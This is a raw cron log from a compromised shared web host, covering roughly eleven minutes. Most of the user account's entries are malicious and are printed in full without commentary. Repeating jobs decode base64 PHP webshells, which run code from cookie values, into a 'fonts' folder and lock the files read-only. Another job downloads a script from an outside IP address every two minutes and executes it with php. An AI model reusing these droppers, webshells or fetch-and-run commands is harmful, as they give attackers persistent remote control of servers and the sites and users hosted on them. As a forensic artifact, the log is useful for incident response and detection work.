Sep 20 07:39:01 ip-184-168-122-23 CROND[7526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:39:01 ip-184-168-122-23 CROND[7527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:39:01 ip-184-168-122-23 CROND[7528]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:40:01 ip-184-168-122-23 CROND[7790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:40:01 ip-184-168-122-23 CROND[7792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:40:01 ip-184-168-122-23 CROND[7794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:40:01 ip-184-168-122-23 CROND[7796]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:40:01 ip-184-168-122-23 CROND[7795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:40:01 ip-184-168-122-23 CROND[7798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:40:01 ip-184-168-122-23 CROND[7803]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 07:40:01 ip-184-168-122-23 CROND[7804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:41:01 ip-184-168-122-23 CROND[8044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:41:01 ip-184-168-122-23 CROND[8045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:41:01 ip-184-168-122-23 CROND[8048]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:41:01 ip-184-168-122-23 CROND[8049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:42:01 ip-184-168-122-23 CROND[8270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:42:01 ip-184-168-122-23 CROND[8269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:42:01 ip-184-168-122-23 CROND[8274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:42:01 ip-184-168-122-23 CROND[8272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:42:01 ip-184-168-122-23 CROND[8276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:43:01 ip-184-168-122-23 CROND[8511]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:43:01 ip-184-168-122-23 CROND[8514]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:43:01 ip-184-168-122-23 CROND[8513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:43:01 ip-184-168-122-23 CROND[8515]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:44:01 ip-184-168-122-23 CROND[8753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:44:01 ip-184-168-122-23 CROND[8755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:44:01 ip-184-168-122-23 CROND[8756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:44:01 ip-184-168-122-23 CROND[8757]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:44:01 ip-184-168-122-23 CROND[8759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:45:01 ip-184-168-122-23 CROND[8996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:45:01 ip-184-168-122-23 CROND[8999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:45:01 ip-184-168-122-23 CROND[9001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:45:01 ip-184-168-122-23 CROND[9002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:45:01 ip-184-168-122-23 CROND[8998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:45:01 ip-184-168-122-23 CROND[9000]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:46:01 ip-184-168-122-23 CROND[9323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:46:01 ip-184-168-122-23 CROND[9324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:46:01 ip-184-168-122-23 CROND[9326]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 20 07:46:01 ip-184-168-122-23 CROND[9327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:46:01 ip-184-168-122-23 CROND[9329]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:46:01 ip-184-168-122-23 CROND[9330]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 07:46:01 ip-184-168-122-23 CROND[9331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:47:01 ip-184-168-122-23 CROND[9605]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:47:01 ip-184-168-122-23 CROND[9607]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:47:01 ip-184-168-122-23 CROND[9606]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:47:01 ip-184-168-122-23 CROND[9608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:48:02 ip-184-168-122-23 CROND[9826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:48:02 ip-184-168-122-23 CROND[9828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:48:02 ip-184-168-122-23 CROND[9830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:48:02 ip-184-168-122-23 CROND[9829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:48:02 ip-184-168-122-23 CROND[9831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:49:01 ip-184-168-122-23 CROND[10062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:49:01 ip-184-168-122-23 CROND[10064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:49:01 ip-184-168-122-23 CROND[10065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 07:49:01 ip-184-168-122-23 CROND[10066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:49:01 ip-184-168-122-23 CROND[10068]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 20 07:50:01 ip-184-168-122-23 CROND[10330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 07:50:01 ip-184-168-122-23 CROND[10332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 07:50:01 ip-184-168-122-23 CROND[10333]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 07:50:01 ip-184-168-122-23 CROND[10339]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 07:50:01 ip-184-168-122-23 CROND[10336]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 07:50:01 ip-184-168-122-23 CROND[10335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 07:50:01 ip-184-168-122-23 CROND[10334]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 07:50:01 ip-184-168-122-23 CROND[10338]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 07:50:01 ip-184-168-122-23 CROND[10341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
